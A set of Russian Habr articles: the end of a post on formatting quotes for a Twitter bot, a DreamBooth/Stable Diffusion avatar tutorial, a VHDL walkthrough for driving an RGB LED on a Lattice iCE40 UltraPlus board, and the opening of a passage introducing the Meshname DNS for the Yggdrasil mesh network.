Поначалу подключил к микробашу сервис, который позволял автоматически фоловить всех новых подписчиков. Я думал: роботу всё равно, а людям приятно. Но потом набежали массфоловеры и всякие смм-эксперты, по большей части даже не русскоговорящие, ведомые другими хитрыми сервисами, и автофоловинг пришлось отключить, т.к. хочется, чтобы количество подписчиков отражало реальный интерес. #### Что дальше Более сложные преобразования. Например: `xxx: повесил турник на балконе xxx: решил что каждый раз, выходя покурить, буду подтягиваться до изнеможения xxx: я не думал что я ТАК много курю` По сути это монолог. Нет смысла повторять имя автора в каждой строчке, да и имени как такового нет, поэтому `xxx:` можно удалить. Так как всё будет выводиться в одну строчку, фразы лучше разделить, расставляя точки в конце там, где никакого знака препинания не оказалось, и переводя в верхний регистр первую букву фразы там, где следует. Вуаля: `— Повесил турник на балконе. Решил что каждый раз, выходя покурить, буду подтягиваться до изнеможения. Я не думал что я ТАК много курю.` В принципе, тире с пробелом в начале и точка в конце фразы — для красоты, и ими можно пожертвовать, если для публикации цитаты будет не хватать пары символов. Вот пример диалога: `xxx: точнее пускалка не прописана yyy: это так надо или что то поломалось? или недоделали? xxx: программисту денег недодали xxx: это распространённая ошибка` После его обработки получится вот что: `— Точнее пускалка не прописана. — Это так надо или что то поломалось? или недоделали? — Программисту денег недодали. Это распространённая ошибка` При желании можно публиковать цитаты подлиннее (до 278 символов), разбивая их на 2 твита, в которых стрелки показывают, где находится продолжение или начало. Оба твита публикуются сразу, чтобы подписчики в своих лентах видели их рядом. Например: `Муж пошел в ателье брюки перешивать. Еще пиджак есть, дома висит - эт костюм со свадьбы. Его тетка спрашивает: -Зачем вы такой размер↓` `↑большой купили? Он: - Так это было 5 лет назад. Она: - Ух ты. А что это у вас за диета такая? Он: -Я просто женился.` Цель всех этих преобразований — получить больше цитат, влезающих в твит. И как бонус — оформить, чтобы их было удобнее читать в твиттере. #### Вместо заключения Собственно, подписчиков ещё сравнительно мало, чтобы заморачиваться с реализацией описанных выше идей (тут уже не обойтись сервисами, придётся кодить). Но если интерес к @[microbash](http://twitter.com/#!/microbash) будет расти, всё это можно сделать. С идеями, критикой и словами одобрения — велкам в комментарии.
https://habr.com/ru/post/125154/
null
ru
null
# Создаем аватарки с помощью нейросети Stable Diffusion и DreamBooth "Портрет, сделанный нейросетью" - все чаще читаем в новостной ленте, и каждый хотел бы сделать себе подобный, но удобные сервисы, просящие монету, или желание разбираться самому, отталкивают. Не нужно ничего скачивать. Час времени и каждый сможет сделать себе аватарку! ![A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render](https://habrastorage.org/r/w1560/getpro/habr/upload_files/655/441/ec2/655441ec2ba4a012447360eb757a3ed6.png "A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render")A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane renderВведение -------- Значительный скачок в эволюции ИИ совершили модели "txt2img" (преобразование текста в изображение), обеспечив высококачественный и разнообразный синтез изображений из заданного текстового запроса. DreamBooth представляет новый подход к "персонализации" моделей "txt2img", специализируя их на потребностях пользователей. Предварительно обученная модель настраивается путем добавления всего нескольких изображений объекта и соответствующего имени класса (например, "человек") в качестве входных данных. Таким образом, чтобы ИИ научилась связывать уникальный идентификатор (в нашем случае слово) с этим конкретным объектом.  ### Результаты и возможности DreamBooth * **Художественные представления:** Оригинальные художественные изображения собаки в стиле известных художников. Отмечается, что многие сгенерированные позы не были замечены в тренировочном наборе, например, в исполнении Ван Гога и Уорхола. Также, что некоторые работы, похоже, имеют новую композицию и точно имитируют стиль художника - даже предполагая некоторый творческий подход (экстраполяция с учетом предыдущих знаний). ![Художественные представления](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4bb/4b2/d07/4bb4b2d075a15d5596b45252f8dc2294.png "Художественные представления")Художественные представления* **Изменение "позы" представления:** Метод позволяет синтезировать изображения с заданными точками обзора для кошки (слева направо: вид сверху, снизу, сбоку и сзади). Обратите внимание, что сгенерированные позы отличаются от входных поз, а фон меняется реалистичным образом при изменении позы. Также подчеркивают сохранение сложных меховых узоров на лбу исследуемой кошки. ![Изменение представления](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3e3/aa4/da2/3e3aa4da2cd50c6c1eacb7edcdc66f19.png "Изменение представления")Изменение представления* **Изменение свойств:** Представляют изменения цвета в первом ряду (с помощью подсказок: *"[цвет] [V] автомобиль"*) и скрещивания конкретной собаки и разных животных во втором ряду (с помощью подсказок: *"порода [V] собаки и [целевого вида]"*). Метод сохраняет уникальные визуальные особенности, которые придают предмету его индивидуальность или сущность, выполняя при этом требуемую модификацию свойств. ![Изменение свойств](https://habrastorage.org/r/w1560/getpro/habr/upload_files/444/ab9/617/444ab96175e43533d9a52f400a7d6ca9.png "Изменение свойств")Изменение свойств* **Добавление аксессуаров:** Оснащение собаки аксессуарами. Личность субъекта сохраняется и к собаке можно применить множество различных нарядов или аксессуаров, учитывая подсказку типа: *"[V] собака в костюме [полицейского / повара / ведьмы]"*. Наблюдается реалистичное взаимодействие между предметной собакой и одеждой или аксессуарами, а также большое разнообразие возможных вариантов. ![Добавление аксессуаров](https://habrastorage.org/r/w1560/getpro/habr/upload_files/44a/135/664/44a1356647e7ae9fff44a3eab3b25c72.png "Добавление аксессуаров")Добавление аксессуаровПодготовка ---------- 1. Для начала стоит убедится что на вашем [**Google Drive**](https://www.google.com/intl/ru/drive/) диске достаточный объем памяти. Нам потребуется не более 4-5гб, но зная среднестатистического пользователя, диск пустует и имеет 10-15гб свободного места. 2. Заранее стоит подумать какие фотографии вы возьмете. Критериев не много, но они в значительно мере могут повлиять на результат**:** ***1)*** разрешение 512px\*512px (можно воспользоваться сервисом [*BIRME*](https://www.birme.net/?target_width=512&target_height=512) или другим аналогом). ***2)*** объект один на фото. ***3)*** вменяемое освещение. 3. Создать аккаунт на сайте [**Hugging Face**](https://huggingface.co/)**,** а далее в настройках создать новый токен с ролью "write" в соответствующем разделе. В результате сгенерируется ключ, который потребуется позднее. ![Новый токен на сайте Hugging Face](https://habrastorage.org/r/w1560/getpro/habr/upload_files/41c/16d/5a3/41c16d5a369fd1d50840fe2874e02319.png "Новый токен на сайте Hugging Face")Новый токен на сайте Hugging FaceПрактика -------- * Открываем блокнот [**Google Colab**](https://colab.research.google.com/github/ShivamShrirao/diffusers/blob/main/examples/dreambooth/DreamBooth_Stable_Diffusion.ipynb), где первым делом авторизируемся в гугл аккаунте и нажимаем подключится в правом верхнем углу. На [GitHub -е](https://github.com/ShivamShrirao/diffusers/tree/main/examples/dreambooth) разработчиков будет появляется актуальная ссылка на блокнот. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9aa/09f/e6e/9aa09fe6e0a89bb9b487da919a2ae271.png)* В самом верху, первым пунктом, проверяем выданную нам видеокарту, в большинстве случаев это будет ***Tesla T4*** ( лучший вариант). Если же выданная карта отличается - обновите страницу и повторите подключение. Так же сойдет видеокарта P100, но скорость работы может отличаться. В разделе ресурсов, по мимо "ОЗУ" и "Диск", появится соответствующий пункт "Оперативная память графического процессора". *\*Хочу заметить, что каждый пункт будет сопровождается запуском кода по нажатию на кнопку "плей" ( треугольничек в кружечке в начале каждой ячейки).* ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8fd/ef9/e78/8fdef9e7897817bb488117bd75e1fa01.png)* **Install Requirements** Устанавливаем пакеты и зависимости на выданный нам сервер. По завершению выдаст сообщение "done", а слева от пункта появится зеленая галочка с временим выполнения. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/22e/491/c0a/22e491c0aa5d653d3133525d9ed5aa34.png)* **Login to HuggingFace** Вставляем ранее созданный токен с сайта [**Hugging Face**](https://huggingface.co/) и запускаем код ячейки. * **Install xformers from precompiled wheel** Данный пункт выполнится быстро, так как все уже скомпилировано. НО в случае возникновения ошибки, следует заменить первую строчку на код ниже и повторить. Перекомпиляция займет около 40 минут. ``` %pip install git+https://github.com/facebookresearch/xformers@4c06c79#egg=xformers ``` * **Settings and run** Если есть желание воспользоваться моделью в следующий раз, то стоит установить галочку "save\_to\_gdrive". Имя и пути сохранения модели можно оставить стандартными. При запуске ячейки разрешите доступ к своему диску. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/efd/1ad/42c/efd1ad42c53e5991c13d3d5357d7af00.png)* **Start Training** Самый большой пункт, где могут возникнуть вопросы. Встречает нас таблица, ее мы пропускаем, так как она предназначается продвинутым пользователям для гибкой настройки скорости, качества и веса модели. Нас же интересует, как мы будем связывать наш объект с текстом в списке ***concepts\_list***: Первый параметр ***instance\_prompt*** - идентификатор нашего объекта ***class\_prompt*** - класс, который связывает наш объект с объектами знакомыми для ИИ (пример: [ваше имя] - [guy/girl] или ElonMask - Man, TeslaModelX - Car и тд.) Параметры с названием директорий для удобства называем соответственно. Запускаем ячейку. Что должно получится: instance\_prompt - MossHubrGuide (мой идентификатор), class\_prompt - man (класс с которым ассоциирую). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8aa/bde/99f/8aabde99f2c008cb93659506550280cf.png)Далее запускаем следующую ячейку, выбираем заготовленные изображения и ждем окончания загрузки. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b9b/7cf/2ff/b9b7cf2ffe1c588de78ea941cf30bd7f.png)По окончанию загрузки изображений, в следующей ячейке нас интересуют строки: ***--max\_train\_steps*** - количество шагов для обучения ИИ (для портретов рекомендуется использовать значения 800-1500) ***--save\_sample\_prompt*** - должен иметь значение как и у ***instance\_prompt*** для сохранения промежуточных выборок вместе с весами в директории. Запускаем выполнение ячейки, которая начнет скачивание модели, генерацию классов и обработку изображений. Продлится это ~30-40 минут в зависимости от того, сколько шагов выбрано для обучения. В процессе обработки могут появиться окна капчи с проверкой присутствия на странице, если не подтвердить - придется начать сначала. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1e1/6a1/467/1e16a14671b67fa5e4769b0975501c04.png)Далее последовательно запускаем две ячейки, где первую оставляем пустой, а вторая сгенерирует 4 изображения "то как вас видит ИИ". ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/23c/8e6/c97/23c8e6c973d2cf6dac729108835a8e21.png)* **Convert weights to ckpt** Данный пункт нужен если важно место на Google Drive, что сократит используемый объем до 2гб. Но для повторного использования весов пропускаем пункт. * **Inference** Так же последовательно запускаем обе ячейки. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9ec/39c/ce0/9ec39cce0a4620d932509afdf6fa7ac3.png)* **Run for generating images.** Вот начинается самое интересное! ***prompt*** - тот самый текст/контекст, который определяет что будет рисовать ИИ. Тут уж пишите, что душе угодно (на английском языке), но есть достаточно эффективные сайты с готовыми промптом, пример: [PromptsDatabase](https://stablediffusionweb.com/prompts), [Lexica](https://lexica.art/?). Промпт может выглядеть совершенно не похожем на предложения в привычном понимании, но ключевые слова и контекст имеют большую силу. Для рисования объекта, добавленного в модель ранее, в строке ***prompt*** добавляем наш ***instance\_prompt***, а для большей точности вместе с ним и ***class\_prompt***. Пример: "*A epic and beautiful rococo painting of a young* ***MossHubrGuide man*** *half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render*" ***num\_samples*** - количество генерируемых изображений. ***guidance\_scale******num\_inference\_steps*** - параметры для более точного совпадения текста с содержимым. Оставляем дефолтными, а зависимость значений на результат можно увидеть в примечании в примечании. ***height width*** - размер получаемого изображения. Хотелось бы увеличить разрешение, но это может вызвать своеобразные артефакты. (\*см. примечание) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e07/c0d/ddb/e07c0dddb10ebc63a0e69bf74d9fc0d0.png)Примечание Зависимость значений ***guidance\_scale*** и ***num\_inference\_steps*** можно увидеть на следующем изображении: ![Зависимость значений guidance_scale и num_inference_steps на исходное изображение](https://habrastorage.org/r/w1560/getpro/habr/upload_files/631/536/d10/631536d101ba9d95d44fa0fdc20df61b.png "Зависимость значений guidance_scale и num_inference_steps на исходное изображение")Зависимость значений guidance\_scale и num\_inference\_steps на исходное изображение При изменении высоты/ширины исходного изображения в отдельности от входящих возникают артефакты: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/c06/ee2/4ec/c06ee24eccd03b1487bddc1d60a48a06.jpg)![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/4a1/92c/e67/4a192ce67f3265d9dfd11e55e61fc23f.jpg)Запускаем ячейку! Результат --------- Ниже приведу пример с несколькими не самыми удачными, но не менее интересными изображениями и их промптом. ![A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render](https://habrastorage.org/r/w1560/getpro/habr/upload_files/00d/50f/ade/00d50fade3fc972cbedd2f1686339bfa.png "A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render")A epic and beautiful rococo painting of a young MossHubrGuide man half wolf covered in yellow cloth surrounded by wolves of ashes, standing before a desert of ashes. ultra-detailed. anime, pixiv, uhd 8k cryengine, octane render![Futuristic hightailed MossHubrGuide man with robotic implants on its face. in space, wes anderson](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e3/19d/b78/2e319db783425dfc7503c48acb615529.png "Futuristic hightailed MossHubrGuide man with robotic implants on its face. in space, wes anderson")Futuristic hightailed MossHubrGuide man with robotic implants on its face. in space, wes anderson![a anthropomorphic MossHubrGuide man warrior, D&D, fantasy, intricate, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, art by artgerm and greg rutkowski and alphonse mucha](https://habrastorage.org/r/w1560/getpro/habr/upload_files/986/659/888/986659888eaec5ece9b155da0420fe58.png "a anthropomorphic MossHubrGuide man warrior, D&D, fantasy, intricate, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, art by artgerm and greg rutkowski and alphonse mucha")a anthropomorphic MossHubrGuide man warrior, D&D, fantasy, intricate, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, art by artgerm and greg rutkowski and alphonse mucha![A portrait of a futuristic cyberpunk MossHubrGuide man soldier in war scene, epic scene, epic lighting, pink vibe, by greg rutkowski ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0d1/648/f66/0d1648f6601b3e479bd2574d130bc4ee.png "A portrait of a futuristic cyberpunk MossHubrGuide man soldier in war scene, epic scene, epic lighting, pink vibe, by greg rutkowski ")A portrait of a futuristic cyberpunk MossHubrGuide man soldier in war scene, epic scene, epic lighting, pink vibe, by greg rutkowski ![elon musk as superman, realistic portrait, symmetrical, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, cinematic lighting, art by artgerm and greg rutkowski and alphonse mucha ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/eb1/a3c/ce7/eb1a3cce7b32ea48d6b936ba6b85d9df.png "elon musk as superman, realistic portrait, symmetrical, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, cinematic lighting, art by artgerm and greg rutkowski and alphonse mucha ")elon musk as superman, realistic portrait, symmetrical, highly detailed, digital painting, artstation, concept art, smooth, sharp focus, illustration, cinematic lighting, art by artgerm and greg rutkowski and alphonse mucha
https://habr.com/ru/post/704758/
null
ru
null
# Знакомство с FPGA iCE40 UltraPlus Mobile Development Platform от фирмы Lattice Semiconductor #### Введение Всем доброго времени суток, друзья! Недавно на работе обзавелись новенькой навороченной платой iCE40 UltraPlus Mobile Development Platform от фирмы Lattice Semiconductor. Со слов разработчиков на официальном сайте iCE40 UltraPlus MDP — это плата, на которой расположены 4 ПЛИС iCE40 UltraPlus, каждая из которых управляет своим набором периферии. В набор входят: * мобильный дисплей с разрешением 240x240 с интерфейсом MIPI DSI; * датчик изображения с разрешение 640x480 (OVM7692); * малопотребляющие микрофоны в количестве 4 штук; * BLE модуль для беспроводной передачи данных; * программируемая SPI Flash память; * пак различных датчиков (давления, компас, гироскоп и акселерометр); * ну и всякие кнопочки и лампочки. Вся круть данного кита заключается в том, что на нем с помощью специальных программных пакетов можно разворачивать нейронные сети для работы с видео и звуком. И это не говоря уже о том, что ПЛИСы фирмы Lattice являются низкопотребляемыми, малогабаритными и достаточно дешевыми. #### UltraPlus MDP ![](https://habrastorage.org/r/w1560/webt/yu/dk/yj/yudkyj-tkz8gibnadg9ziiyscuo.png) В качестве тестового примера, поморгаем RGB светодиодом (D13 на схеме, выделено красным на картинке слева). Просмотрев документацию, делаем вывод, что светодиод управляется ПЛИСом под номером U3 (выделено красным на картинке справа). Из документации также узнаем, что светодиод управляется встроенным ШИМ модулятором и токовым драйвером. Данную информацию берем на заметку. #### Настройка платы и написание программы На плате имеется группа перемычек, с помощью которых можно выбрать ПЛИС, которую необходимо прошить для работы с выбранной группой периферийный устройств. Нам интересны три группы перемычек, отвечающие за подтягивание питания к светодиоду и программирование нужной ПЛИС. ![](https://habrastorage.org/r/w1560/webt/e-/ua/cq/e-uacq3d0rfgpy181kddbcsz4kk.png) Порядок действия следующий: 1. Перевести переключатель SW5 в положение ON/OFF 2. Две перемычки на J19 горизонтально 3. Установить на J26 перемычки так, чтобы замкнуть пины 1-2 и 3-4 (как указано на рисунке. Начало следования пинов начинается с белой стрелочки, указанной на плате) 4. На джамперах J17, J25, J27 установить перемычки в положение 9-10 (но это вроде необязательно) Да, понимаю, это все нудно, но без этого не заработает. Также, чтобы подключить генератор тактовых сигналов необходимо установить перемычку джампера J23 в положение 2-3 (нумерация идет сверху). ![](https://habrastorage.org/r/w1560/webt/gi/4l/ww/gi4lwwbe3oj3fzrg7gd2hytb9fw.png) Теперь программа. Для создания битового файла для прошивки iCE40 UltraPlus MDP необходима среда разработки Lattice iCE cube 2 ([ссылочка на страницу с продуктом](https://www.latticesemi.com/Products/DesignSoftwareAndIP/FPGAandLDS/iCEcube2)) и для прошивки самой платы [Programmer and Deployment Tool](https://www.latticesemi.com/Products/DesignSoftwareAndIP/ProgrammingAndConfigurationSw/Programmer). Продукт лицензионный, но после регистрации лицензию можно получить здесь [www.latticesemi.com/Support/Licensing/DiamondAndiCEcube2SoftwareLicensing/iceCube2](https://www.latticesemi.com/Support/Licensing/DiamondAndiCEcube2SoftwareLicensing/iceCube2) Редактор в IDE весьма неудобный, поэтому я писал в Sublime Text, но каждому свое. Вот общая схема, которая давала понимание что и куда надо делать: ![](https://habrastorage.org/r/w1560/webt/0h/bl/lv/0hbllvyz-pz7swidd_x-yvfhyv0.png) Вот и всплыли ШИМ модулятор и токовый драйвер, о которых я упоминал ранее. Эти два устройства являются внутренними модулями. Необходимо написать устройство управления логики и отправки данных, чтобы вся эта кухня правильно работала. Начнем по порядку, описываем «черный ящик»: ``` entity DriverRGB is port ( -- RGB Led: LED0 : out std_logic; LED1 : out std_logic; LED2 : out std_logic ); end DriverRGB; ``` В «черном ящике» отсутствует инициализация синхросигнала. Для этого используется внутренний модуль, который объявляется следующим образом: ``` -- Generator clock: component SB_HFOSC is generic ( CLKHF_DIV : string := "0b00" ); port ( CLKHFPU : in std_logic; CLKHFEN : in std_logic; CLKHF : out std_logic ); end component; ``` ![image](https://habrastorage.org/r/w1560/webt/ld/ou/j7/ldouj7nfcht3gvymollspmnthsy.png)Данный модуль может генерировать сигнал с частотами 48МГц, 24МГц, 12МГц и 6МГц. За коэффициент деление частоты отвечает параметр CLKHF\_DIV («0b00», «0b01», «0b10», «0b11» соответственно). CLKHFPU и CLKHFEN разрешение работы модуля. CLKHF — тактовый сигнал. Далее объявляем ШИМ модулятор и токовый драйвер: ``` -- Embedded PWM IP: component SB_LEDDA_IP is port ( LEDDCS : in std_logic; LEDDCLK : in std_logic; LEDDDAT7 : in std_logic; LEDDDAT6 : in std_logic; LEDDDAT5 : in std_logic; LEDDDAT4 : in std_logic; LEDDDAT3 : in std_logic; LEDDDAT2 : in std_logic; LEDDDAT1 : in std_logic; LEDDDAT0 : in std_logic; LEDDADDR3 : in std_logic; LEDDADDR2 : in std_logic; LEDDADDR1 : in std_logic; LEDDADDR0 : in std_logic; LEDDDEN : in std_logic; LEDDEXE : in std_logic; LEDDRST : in std_logic; PWMOUT0 : out std_logic; PWMOUT1 : out std_logic; PWMOUT2 : out std_logic; LEDDON : out std_logic ); end component; ``` ``` -- RGB Driver: component SB_RGBA_DRV is generic ( CURRENT_MODE : string := "0b0"; RGB0_CURRENT : string := "0b000000"; RGB1_CURRENT : string := "0b000000"; RGB2_CURRENT : string := "0b000000" ); port ( CURREN : in std_logic; RGBLEDEN : in std_logic; RGB0PWM : in std_logic; RGB1PWM : in std_logic; RGB2PWM : in std_logic; RGB0 : out std_logic; RGB1 : out std_logic; RGB2 : out std_logic ); end component; ``` ![image](https://habrastorage.org/r/w1560/webt/ac/nr/gc/acnrgcuxsgyngv-oorhamdzpvey.png)ШИМ модулятору необходимо скормить адрес и данные, которые отвечают за режимы работы светодиода и некоторые управляющие сигналы. Выходы затем обрабатываются токовым драйвером RGB, который уже зажигает светодиод. Токовый драйвер обрабатывает данные с ШИМ модулятора и регулирует значение тока, подаваемое к светодиоду. Параметры RGB0\_CURRENT, RGB1\_CURRENT, RGB2\_CURRENT задают величину тока к каждому цвету. CURRENT\_MODE — режим питания (полный или половинный). ![image](https://habrastorage.org/r/w1560/webt/bk/hx/qz/bkhxqzh4bvicxzxvnwaw47wtnwq.png) Да, круто. Есть адреса, есть данные. Ну а что на них отправлять? В общем, разработчики Lattice в своей документации дают достаточно подробное описание, но оно весьма объемное. Постараюсь сжать все в несколько строчек описания и код для наглядности. ШИМ модулятор ожидает 9 адресов. Каждый из них отвечает за определенную функцию для поддержания работы светодиода. Ниже приведена таблица, в которой указаны значения и названия адресов: ![](https://habrastorage.org/r/w1560/webt/j5/p-/k_/j5p-k_ozuqf2q61uk3gegi1os9e.png) Для отправки данных реализуем автомат конечных состояний: ``` type LED_Driver is (IDLE, LEDDBR, LEDDONR, LEDDOFR, LEDDBCRR, LEDDBCFR, LEDDPWRR, LEDDPWRG, LEDDPWRB, LEDDCR0, DONE); ``` Первым шагом запишем данные в регистр LEDDBR. В него записывается значение для частоты тактового сигнала ШИМ. Считается она следующим образом: ``` Register Value N = Fsys/64kHz-1 ``` Структура записи данных выглядит следующим образом: ![](https://habrastorage.org/r/w1560/webt/d3/7h/ly/d37hlydwo861xkc4z6myfz8i5bu.png) Два старших бита для значения частоты будут дозаписываться, когда обратимся к регистру LEDDCR0. ``` when LEDDBR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "1001"; DAT_Bits(7 downto 0) <= "11101101"; -- Генерация тактового сигнала ШИМ (без двух старших бит) PWM_state_next <= LEDDONR; ``` В регистр LEDDONR записывается время, в котором светодиод находится в активном состоянии. В документации есть таблица соответствия какому набору бит принадлежит определенное время горения светодиода. ``` when LEDDONR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "1010"; DAT_Bits(7 downto 0) <= "00010001"; -- Светодиод активен (0.5 c) ``` Регистр LEDDOFR содержит данные, сколько времени неактивен светодиод. Точно такие же значения, как и в LEDDONR. ``` when LEDDOFR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "1011"; DAT_Bits(7 downto 0) <= "00010001"; -- Светодиод неактивен (0.5 c) PWM_state_next <= LEDDBCRR; ``` LEDDBCRR — данные о длительности плавного включения светодиода. ``` when LEDDBCRR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "0101"; DAT_Bits(7) <= '1'; -- Режим включения (вкл) DAT_Bits(6) <= '1'; -- Бит регулировки включения DAT_Bits(5) <= '1'; -- Изменение скорости увеличения яркости DAT_Bits(4) <= '0'; -- RESERVED DAT_Bits(3 downto 0) <= "0011"; -- Длительность включения (0.5 с) PWM_state_next <= LEDDBCFR; ``` LEDDBCRR — данные о длительности плавного выключения светодиода. ``` when LEDDBCFR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "0110"; DAT_Bits(7) <= '1'; -- Режим выключения (вкл) (disable/enable) DAT_Bits(6) <= '0'; -- PWM Range Extend DAT_Bits(5) <= '1'; -- Изменение скорости уменьшения яркости DAT_Bits(4) <= '0'; -- RESERVED DAT_Bits(3 downto 0) <= "0011"; -- Длительность выключения (0.5 с) PWM_state_next <= LEDDPWRR; ``` В регистры LEDDPWRR, LEDDPWRG и LEDDPWRB записываются данные о яркости красного, синего и зеленого цвета светодиода соответственно. Значение яркости считается в процентах следующей формулой: ``` ADC(%) = PulseWidth/256 ``` Следовательно, разные значения яркости дают смешение цветов, поэтому можно поиграться и достичь своего идеала. ``` when LEDDPWRR => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "0001"; DAT_Bits(7 downto 0) <= "00000001"; -- RED Pulse Width PWM_state_next <= LEDDPWRG; ``` ``` when LEDDPWRG => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "0010"; DAT_Bits(7 downto 0) <= "11111111"; -- GREEN Pulse Width PWM_state_next <= LEDDPWRB; ``` ``` when LEDDPWRB => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "0011"; DAT_Bits(7 downto 0) <= "00011111"; -- BLUE Pulse Width PWM_state_next <= LEDDCR0; ``` Ну и в последний регистр LEDDCR0 записывается разрешающая информация и два старших бита значения частоты тактового сигнала ШИМ: ``` when LEDDCR0 => led_en <= '1'; led_cs <= '1'; led_exe <= '0'; LEDD_ADR <= "1000"; DAT_Bits(7) <= '1'; -- Включение светодиода (вкл) DAT_Bits(6) <= '1'; -- Flick Rate Select Bit (125/250 Hz) DAT_Bits(5) <= '0'; -- Полярность выхода ШИМ (1/0) DAT_Bits(4) <= '0'; -- Режим снижения шумов при переключении ШИМ DAT_Bits(3) <= '1'; -- Blinking Sequence Quick Stop Enable Bit DAT_Bits(2) <= '0'; -- PWM Mode Selection Bit DAT_Bits(1 downto 0) <= "10"; -- Два старших бита частоты PWM_state_next <= DONE; ``` #### Примеры реализации RGB ![](https://habrastorage.org/r/w780q1/webt/wd/06/j9/wd06j9iocsffqiojkk-p_ft7lmy.jpeg) Purple/White ![](https://habrastorage.org/r/w780q1/webt/2h/wo/k1/2hwok1qr7nxjfybf2enq7dckft8.jpeg) #### Подведение итогов Ну вот и все. Меняя параметры можно добиваться красивого эффекта дыхания светодиода при разной цветовой гамме и яркости, изменяя значения в регистрах LEDDPWRR, LEDDPWRG, LEDDPWRB или величину тока RGB драйвера. Ниже ссылки на код на GitHub и на всю необходимую документацию. В дальнейшем планирую тестить другие плюшки и по возможности выкладывать сюда на обозрение. [Evaluation Board User Guide](https://ru.mouser.com/pdfdocs/iCE40_UltraPlus_MDP_User_Guide_FPGA-EB-02007.pdf) [iCE40 LED Driver Usage Guide](https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwi79JWbv-XqAhVI_CoKHRbfCVIQFjAAegQIBhAC&url=https%3A%2F%2Fwww.latticesemi.com%2F-%2Fmedia%2FLatticeSemi%2FDocuments%2FApplicationNotes%2FIK%2FICE40LEDDriverUsageGuide.ashx%3Fdocument_id%3D50668&usg=AOvVaw2i5uAM9yvdZe7gq4qbdYSf) [Код](https://github.com/AlexKly/iCE40UltraPlusMDP-RGBLED)
https://habr.com/ru/post/512830/
null
ru
null
# Meshname – DNS судного дня Параноики есть в каждом сообществе. Например, туристы порой превращаются в выживальщиков, постоянно готовящихся к БП – «Большому Происшествию», когда от их готовности будет зависеть жизнь родных, человечества в целом, и сохранность себя родимого. Нельзя однозначно заявить плохо это или хорошо, потому что не секрет, что БП застанет и тех, у кого не запасено 50 килограммов гречки, бензин и оружие. Среди опытных ай-тишников также развита профессиональная деформация личности, которая нередко подразумевает паранойю: тяжело спать спокойно, когда понимаешь технологии изнутри и хрупкость их бытия! Эта статья посвящена альтернативной доменной системе, рассчитанной на случай глобальной сегментации интернета, катаклизмов, или возможных искусственных ограничений коммуникации. Не спешите с пренебрежительной ухмылкой. По аналогии с запасами выживальщика, эта информация не требует больших затрат, а в нужный момент сможет выручить! ![Логотип, не облагаемый лицензионными обязательствами](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c11/509/b5c/c11509b5c90843ea7a89112dc59a4277.png "Логотип, не облагаемый лицензионными обязательствами")Логотип, не облагаемый лицензионными обязательствамиКонцепция --------- Идея родилась в кругу пользователей [Yggdrasil Network](https://habr.com/ru/post/547250/) – самоорганизующейся меш-сети с маршрутизацией по IPv6 и абсолютной масштабируемостью. Эта технология лучше многих существующих подходит для создания разветвленных сетей без участия администратора: всё, что требуется – физическая среда передачи информации (кабель, радио или оптический линк). Подобный децентрализованный подход во многом перспективен и удобен, но в нём явно не хватает своей реализации доменных имен, без которых не способны работать сервисы вроде Email и XMPP. Помимо этого не все приложения корректно воспринимают синтаксис IPv6. Разработчики Yggdrasil в свою очередь заявили, что занимаются архитектурой сети, а не доменными именами. Сообществом было предложено несколько решений вопроса доменных имен, которые в своем большинстве являются банальными серверами с форвардингом в обычный интернет, т.е. ничего лучше [обычного DNS](https://ru.wikipedia.org/wiki/ICANN) придумать не удалось. Как вам идея платить $10 дядюшке Сэму за доменное имя, к которому будут привязаны персональные данные, как это уже привычно, и адрес из децентрализованной сети, подразумевающей отказоустойчивость, масштабируемость и независимость от домашнего, регионального и прочих провайдеров?! Сомнительное удовольствие для 